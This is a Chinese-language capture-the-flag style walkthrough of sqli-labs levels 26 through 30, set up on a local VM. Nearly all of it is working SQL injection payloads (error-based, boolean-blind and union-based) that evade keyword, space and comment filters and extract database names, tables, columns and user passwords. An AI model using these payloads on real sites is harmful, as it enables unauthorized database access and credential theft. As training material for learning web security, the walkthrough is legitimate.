一、实操环境
1、操作系统
- VMware虚拟机创建的win10系统
- 内存8GB
- 硬盘255GB
- 处理器AMD Ryzen 9 5900HX
2、操作项目
==sql-lib项目,本篇文章介绍关卡26-30。==
3、工具版本
- phpstudy 8.1.1.3
- php版本 5.4.45nts
- Apache2.4.39
- MySQL5.7.26
- Chrome
4、SQL注入目的
- 判断是否允许注入
- 判断注入点类型
- 判断回显点
- 获取数据库信息
- 获取表信息
- 获取字段信息
二、less26
1、判断注入
这一关将很多东西都过滤掉了,所以可以使用url编码也可以使用报错注入。
2、获取数据库信息
http://sql/Less-26/?id=1'anandd(updataxml(1,concat(0x5e,database(),0x5e),1))anandd'
3、获取表信息
http://sql/Less-26/?id=0'||updatexml(1,concat(0x5e,(select(group_concat(table_name))from (infoorrmation_schema.tables)where(table_schema=database())),0x5e),1)||'
4、获取字段名
http://sql/Less-26/?id=0'||updatexml(1,concat(0x5e,(select(group_concat(column_name))from (infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users')),0x5e),1)||'
5、获取用户名密码
http://sql/Less-26/?id=0'||updatexml(1, concat(0x5e, ( select (group_concat(concat_ws(0x5e,username,passwoorrd))) from (security.users)%20 where (id=1) ) )%20%20 ,1)||'
三、less26a
1、判断注入
这一关在上一关的基础上加上了括号进行闭合,同时在sql语句执行抛出错误后不在前台页面输出,所以不能用报错注入了。
2、获取数据库信息
http://sql/Less-26a/?id=1%27)anandd(length(database())=8)||(%27
库名为8。
http://sql/Less-26a/?id=1%27)anandd(substr(database(),1,1)='s')||(%27
第一个字母为s。
3、获取表信息
http://sql/Less-26a/?id=1')anandd (substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='e') ;%00
同上,可以猜出来。
4、获取用户名和密码
?id=1') anandd (substr((select( concat_ws(',',username,password)) from (security.users )),1,1)='D') ;%00
四、less27
1、判断注入
这一关似乎是上一关的升级版,为字符型注入,过滤了部分注释符号,空格和union select也被过滤了。
2、获取数据库信息
http://sql/Less-27/?id=0'/%0a/UnIoN/%0a/SeLeCt/%0a/1,database(),2/%0a/||'
3、获取表信息
id=0'/%0a/uNiOn/%0a/sEleCt/%0a/1,2,group_concat(table_name)/%0a/from/%0a/information_schema.tables/%0a/where/%0a/table_schema='security'||'
4、获取字段信息
id=0'/%0a/uNiOn/%0a/sEleCt/%0a/1,2,group_concat(column_name)/%0a/from/%0a/information_schema.columns/%0a/where/%0a/table_schema='security'/%0a/and/%0a/table_name='users'||'
5、获取用户名密码
?id=0'/%0a/UnIoN/%0a/SeLeCt/%0a/1,(SeLeCt/%0a/group_concat(concat_ws('$',id,username,password))/%0a/from/%0a/users),3/%0a/||'
五、less27a
1、判断注入
过滤掉了空格,注释符,union select,这里使用布尔盲注
2、获取数据库信息
?id=1"/%0a/and /%0a/length(database())=8/%0a/||"
?id=1"/%0a/and /%0a/substr(database(),1,8)='security'/%0a/||"
3、获取表信息
?id=1"/%0a/ and/%0a/ substr((sEleCt /%0a/table_name /%0a/from /%0a/information_schema.tables /%0a/where/%0a/ table_schema='security' /%0a/limit/%0a/0,1),1,1)='e'/%0a/||"
4、获取字段信息
?id=1"/%0a/ and/%0a/ substr((sEleCt /%0a/column_name /%0a/from /%0a/information_schema.columns /%0a/where/%0a/ table_schema='security' /%0a/and /%0a/table_name='users' /%0a/limit/%0a/0,1),1,1)='i'||"
5、获取数据值
?id=1" /%0a/and /%0a/substr((sEleCt/%0a/ concat_ws(',',username,password)/%0a/ from /%0a/security.users /%0a/limit/%0a/ 0,1),1,1)='D'||"
六、less28
1、判断注入
过滤了union select和注释符和空格
2、判断字段数
?id=1')/%0A/order/%0A/by/%0A/3||('
3、判断回显点
?id=1')/%0A/and/%0A/1=2/%0A/UnIOn/%0A/all/%0A/SeLEct/%0A/1,2,3||('
4、获取数据库信息
?id=1')/%0A/and/%0A/1=2/%0A/UnIOn/%0A/ALL/%0A/SeLEct/%0A/1,database(),3/%0A/||('
5、获取表信息
id=1')/%0A/and/%0A/1=2/%0A/UnIOn/%0A/ALL/%0A/SeLEct/%0A/1,group_concat(table_name),3/%0A/from/%0A/information_schema.tables/%0A/where/%0A/table_schema='security'/%0A/||('
6、获取字段信息
id=1')/*%0A*/and/*%0A*/1=2/*%0A*/UnIOn/*%0A*/ALL/*%0A*/SeLEct/*%0A*/1,group_concat(column_name),3/*%0A*/from/*%0A*/information_schema.columns/*%0A*/where/*%0A*/table_schema='security'and/*%0A*/table_name='users'/*%0A*/||('
7、获取值
?id=1')/%0A/and/%0A/1=2/%0A/UnIoN/%0A/all/%0A/SeLeCt/%0A/1,(SeLeCt/%0A/group_concat(concat_ws('$',id,username,password))/%0A/from/%0A/users),3/%0A/||('
七、less28a
1、判断注入
基于联合查询的字符型注入,过滤了union select注释符和空格,与上一关差不多
2、判断回显点
?id=1')/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,2,3||('
3、获取数据库信息
?id=1')/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,database(),3||('
4、获取表信息
?id=1')/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,group_concat(table_name),3/%0A/from/%0A/information_schema.tables/%0A/where/%0A/table_schema='security'/%0A/||('
5、获取字段信息
?id=1')/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,group_concat(column_name),3/%0A/from/%0A/information_schema.columns/%0A/where/%0A/table_schema='security'/%0A/and/%0A/table_name='users'/%0A/||('
6、获取用户名密码
/?id=1')/%0A/and/%0A/1=2/%0A/UnIoN/%0A/SeLeCt/%0A/1,(SeLeCt/%0A/group_concat(concat_ws('$',id,username,password))/%0A/from/%0A/users),3/%0A/||('
八、less29
1、判断注入
这一关使用报错注入。
2、获取数据库信息
?id=1' and extractvalue(1,concat('~',database()))--+
3、获取表信息
?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
4、获取字段信息
http://sql/Less-29/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+
5、获取详细信息
?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+
九、less30
1、判断注入
闭合字符为",使用联合查询
2、判断字段数
http://sql/Less-30/?id=1" order by 3--+
3、判断回显点
http://sql/Less-30/?id=-1" union select 1,2,3--+
4、获取数据库信息
http://sql/Less-30/?id=-1" union select 1,2,database()--+
5、获取表信息
http://sql/Less-30/?id=-1"union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+
6、获取字段信息
http://sql/Less-30/?id=-1"union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
7、获取用户名密码
http://sql/Less-30/?id=-1"union select 1,2,concat_ws(',',id,username,password)from security.users limit 0,1--+
十、总结与后记
本篇文章是sql-lib的26关-30关,有问题请留言,万分感谢,本篇较难,参考了https://blog.csdn.net/m0_64361111/article/details/123570434这篇文档,万分感谢。